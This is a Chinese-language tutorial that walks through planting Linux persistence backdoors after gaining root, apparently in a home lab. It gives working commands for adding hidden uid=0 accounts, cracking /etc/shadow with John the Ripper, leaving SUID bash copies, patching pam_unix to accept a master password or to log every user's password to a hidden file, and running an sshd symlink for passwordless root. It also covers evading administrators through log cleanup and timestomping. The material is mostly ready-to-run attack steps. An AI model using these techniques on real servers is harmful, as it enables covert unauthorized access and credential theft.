整理好了搭环境的文章:LINUX 后门复现环境搭建
攻击者在通过各种手段获得服务器的控制权之后,通常会在服务器上布置一些脚本、进程、链接,即所谓的后门。其目的是,方便攻击者以后对该服务器进行持久性的攻击。
其中,在 linux 服务器上留后门的常见技术,本文中会提及如下几种:
- 增加用户账号
- 破解用户密码
- 放置 SUID Shell
- PAM 后门
- SSH 软链接后门
...
# 增加用户账号
前提:getshell,已获得服务器的 root 权限
# uid=0 用户可远程登陆
可以通过下面这一行指令,增加一个超级用户账号:
echo "用户名:x:0:0::/:/bin/sh" >> /etc/passwd
然后通过: passed 用户名
命令,修改所设超级用户的密码
# 实现:
输入命令:
(增加超级用户 backdoor)
然后通过 ssh 登录 backdoor 账户:
可以看到已经是 root 权限了:
原理:给服务器增加一个 ID 为 0 的账号(因为 root 的 ID 为 0)
我们可以通过 vim /etc/passwd
命令打开 passwd,所有用户名称与 ID 的对应关系都保存在这里。
在文件开头,能看到 root:
在文件的最后,我们能够找到刚刚添加的账号(backdoor)
已禁止 uid=0 用户远程登陆
管理员可以禁止 root 用户通过 ssh 的方式,远程登录服务器。
禁止方法如下:
(首先保证拥有一个普通用户,否则禁用之后就无法远程登陆了)
vim /etc/ssh/sshd_config
打开 sshd_config 文件
找到 PermitRootLogin
,改为 no
然后重启 ssh 服务
此时再通过 xshell 远程登录 root 账户,就会被拒绝:
如果遇到了禁用 uid=0 账户远程登录的情况,也可以增加一个普通用户:
echo "用户名:x:1000:1000::/:/bin/sh" >> /etc/passwd
道理都是一样的,可以观察到,我们使用的普通用户的 ID 就是 1000
# 无交互情况下添加账户
所利用漏洞的不一样,会导致攻击者可能面临无法交互、没有回显的情况,
在这种情况下,使用前两种方法是困难的,先给出如下的方法:
命令 useradd 用户名 -u 0 -o -g root -G root
以及 echo "密码" | passwd --stdin 用户名
,
若服务器基于 Debian,即不能使用 --stdin 操作的话,第二条改用命令 echo 用户名:密码 | chpasswd
,或者粗暴地直接用 \n 回车(因为 passwd 是需要输入两次密码的): echo "密码\n密码" | passwd 用户名
- 第一个命令:使用 useradd 命令增加用户,-u 设置用户 id 为 0(root 用户),-g-G 设置新用户所在群组及附加群组为 root。如果禁止 root 远程登录,更改对应的参数就行。
- 第二个命令:添加密码(linux 中新创建的用户是被锁定的,需使用 passwd 命令设置密码,才能投入使用)
#
但是这种增加用户账号的方法,会很轻易地被管理员发现
# 破解用户密码
如果我们获得了某些用户的密码,那下次自然就可以直接登录了。
linux 在 passwd 中存储了用户的信息,但是 passwd 文件允许所有用户读取,所以若是用户密码也存放在 passwd 中,将导致用户密码泄露。
因此 Linux 将密码信息单独存放到 shadow 文件中。shadow 只有 root 用户拥有读权限,其他用户没有任何权限,从而保证用户密码的安全性。
但是,如果获得 shadow 文件 **(/etc/shadow)**,你会看到里面的密码是这样的:
当然是密码的 hash 值,不会让你直接看到的密码的明文
但是,对于那些薄弱的密码,我们可以通过 John the Ripper 弱口令扫描工具(Kali 自带)进行破解。使用方法如下
- 使用 unshadow 命令组合 passwd 和 shadow,获得 test:
unshadow /etc/passwd /etc/shadow > test
- 字典破解:使用自带的字典(usr/share/john/password.lst):命令
john test
使用自己的字典:命令john --wordlist=字典路径 test
# 放置 SUID Shell
前提:getshell,已获得服务器的 root 权限
SUID Shell 是一种能以 shell 拥有者权限运行的 shell,
这个后门其实就是更改了,拥有者为 root 的 shell 的属性(rwsr-xr-x)
# 命令
root 下执行命令:
cp /bin/bash .shell
chmod u+s .shell
解释:
- 复制 /bin/bash 为当前目录下名为 .shell 的文件,
- 更改 .shell 文件权限,设置为 u+s 后,其他用户都享有文件拥有者的权限(而当前为 root,即享有 root 权限)
下次如果从普通用户登录服务器,就能用命令: /.shell
,运行这个 shell,从而获得 root 权限。
但是,bash2 针对 SUID Shell 做了一些护卫措施,所以如果使用上述命令运行 .shell ,只能当你在本地下(非远程连接)才能让 shell 的权限升为 root ,若是在远程运行,则还是原来的权限不变。
对于这种情况,需要使用这个命令运行: /.shell -p
,这样在远程下也能获得 root 的 shell 了 >
# 实现
whoami 为 root
# PAM 后门
# PAM 简介:
在 Linux 中执行某些程序时,执行前要先对启动它的用户进行认证,比如我们经常使用的 su 命令。
但是,实际工作时,我们常常得用不同的认证机制去认证不同程序的账号口令,这就会导致一个主机上有多个不同的认证系统,这显然是不合理的。
所以就有了 PAM 机制。PAM 可以说是一套 API,使管理员可以随意地选择程序的认证方式。
PAM 使用目录 **/etc/pam.d/ 下的配置文件,即对应着不同的认证方式。程序调用目录下相应的配置文件,从而调用本地的认证模块(/lib/security/**)。
# 后门思路:
我们登录的时候,也是用 PAM 模块来验证我们的密码是否正确的。
所以,我们可以从源码中找到 PAM 的传统密码验证模块(pam_unix.so),修改 PAM 的验证逻辑,达成不去跟 shadow 里的密码校验,而是直接返回验证正确的效果,
然后编译出包含后门的 so 文件,替换原模块。
# 实现:
- 直接使用脚本:https://github.com/litsand/shell/blob/master/pam.sh
- 手动更改
# 下载 PAM 源码
首先确认 PAM 版本:
- Debian:
dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
- Centos:
rpm -qa|grep pam
以我的 kali 为例,使用 dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
,得到输出:1.4.0-11
去 http://www.linux-pam.org/library/ 或者 GitHub 发布稳定版的地址 https://github.com/linux-pam/linux-pam/releases,下载到自己版本的源码:
下载: wget https://github.com/linux-pam/linux-pam/releases/download/v1.4.0/Linux-PAM-1.4.0.tar.xz
解压: tar -xvf Linux-PAM-1.4.0.tar.xz
# 修改源码
效果 1:自定义密码添加:
修改解压目录下的 /modules/pam_unix/pam_unix_auth.c
文件:
第 173 行下加入: if (strcmp(p,"密码")==0) {return PAM_SUCCESS;}
很简单的代码:当输入的 p 和我们设定的 "密码" 相同的时候,返回直接验证成功。
编译:
确保有安装 gcc 编译器和 flex 库,
编译命令如下:
1
2
3cd Linux-PAM-1.4.0
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
未防止修改的 so 不正确,先找到原文件备份一个:
命令 find / -name "pam_unix.so"
(找原文件地址)
我原文件的地址在:/usr/lib/x86_64-linux-gnu/security/pam_unix.so
编译出的新文件在:root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so
cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
(备份在 /tmp/pam_unix.so.bak)
cp /root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so
(复制新 so 文件,覆盖原文件)
尝试用设定的密码登录:
(注意登录的需要是已有账户) ssh 已有账户名@192.168.158.128
用自定义的 hello 密码,登录 root 成功:
不足 & 优化:
- 若是管理员查看登录日志:
实时查看最后 10 条tail -f -n 10 /var/log/auth.log
(视具体情况不同,日志也有可能是 /var/log/secure)
第一条是从 ssh 输入正确密码登录的日志,第二条是输入自定义的密码登陆的日志,
可以看到,第二条会比第一条多出一行记录,报告验证失败,
这是因为,在我们添加语句的前一行,先使用了 _unix_verify_password 函数进行了验证:
既然如此,我们可以找到函数 _unix_verify_password 的位置,在它验证之前,插入之前的那行代码,这样就能够避免验证密码报错。
更改文件的路径为 Linux-PAM-1.4.0/modules/pam_unix/support.c,如下图:
重新编译覆盖之后,ssh 远程登录,查看日志:
可以看到,第三条就和第一条一样了。
<br> - 若是管理员查看文件修改的时间:
可以用 touch -r 命令修改新文件的时间:
touch pam_unix.so -r /tmp/pam_unix.so.bak
(改为备份文件的时间)
修改前后用stat pam_unix.so*
命令查看结果如下所示:
(仅更改了两项,可能还是会被管理员察觉,但是通过 -t 可以设定档案的时间记录)
<br>
效果 2:记录通过 ssh 登录的用户密码:
同样修改解压目录下的 /modules/pam_unix/pam_unix_auth.c
文件:
在第 173 行下加入,如下图所示:
每次有用户登录的时候,将用户名 name 和密码 p 保存在 /tmp/.record_pwd 文件中
保存 -> 编译 -> 覆盖 -> 从 ssh 用正常密码登录几次账号,提供记录的数据 -> 查看保存的文件:
cat /tmp/.record_pwd
# SSH 软连接后门
前提:
- getshell,已获得服务器的 root 权限,
- ssh 配置中开启了 PAM 进行身份验证(验证 PAM 是否开启:
cat/etc/ssh/sshd_config|grep UsePAM
)一般默认开启 - 防火墙关闭,或者开放了使用的端口号
# 原理:
-
软连接简介:
软链接,就是一个指向另一个档案位置的,特殊的档案。
软连接以路径的形式存在。类似于 Windows 操作系统中的快捷方式。 -
若 ssh 配置中开启了 PAM 身份验证机制,PAM 模块会搜寻相关设定文件(一般在 **/etc/pam.d/)。
而在 /etc/pam.d/su 文件中启用了 pam_rootok.so** 模块。
该模块可以使 root 用户直接通过身份认证,不需要输入密码。 -
当我们指定的端口的软链接文件为 / 路径 /su 的时候,若从该端口连接 ssh,PAM 就会去路径
/etc/pam.d/
下找到对应的配置文件,即 **/etc/pam.d/su**,
然后使用 su 中启用的 pam_rootok.so 模块,实现无密登录。
# 创建 root 账户
创建 ssh 软链接: ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=端口号
(端口号确保可用)
这条命令,先是使用 ln 强制 (-f) 创建,路径为 /usr/sbin/sshd
文件的软连接 (-s),并保存为 /usr/local/su
文件(路径随意、文件名可变),然后把 su 文件(sshd)连到指定的端口
其中,创建的软连接名字虽然可变,但是也不能随便命名。可用的名字可以通过命令: find /etc/pam.d|xargs grep "pam_rootok"
查看:
# 实现:
这时候就能从 2333 端口,用 root 身份登入了( ssh root@192.168.158.128 -p 2333
):
这里使用 cmd 演示:
# 创建其它账户
PAM 中事先是没有供其他用户免密登录的配置文件的,所以,要事先使用下面的命令,用 echo 把引号内的内容保存到 /etc/pam.d/用户名
的文件里面,让以你的用户名为文件名的配置文件使用 pam_rootok.so 模块。
1
2
3
4
5
6
7echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/已有的用户名
现在可以看到,在 /etc/pam.d/
文件夹下出现了一个,以你设定的用户名为名的配置文件(这里为 kali):
现在再执行 find /etc/pam.d|xargs grep "pam_rootok"
命令查找,可以看到,可用的名字已经多了一个 kali 了:
现在再使用命令: ln -sf /usr/sbin/sshd /usr/local/kali;/usr/local/kali -oPort=端口号
创建软链接,就能达到普通用户免密登陆的效果
实现: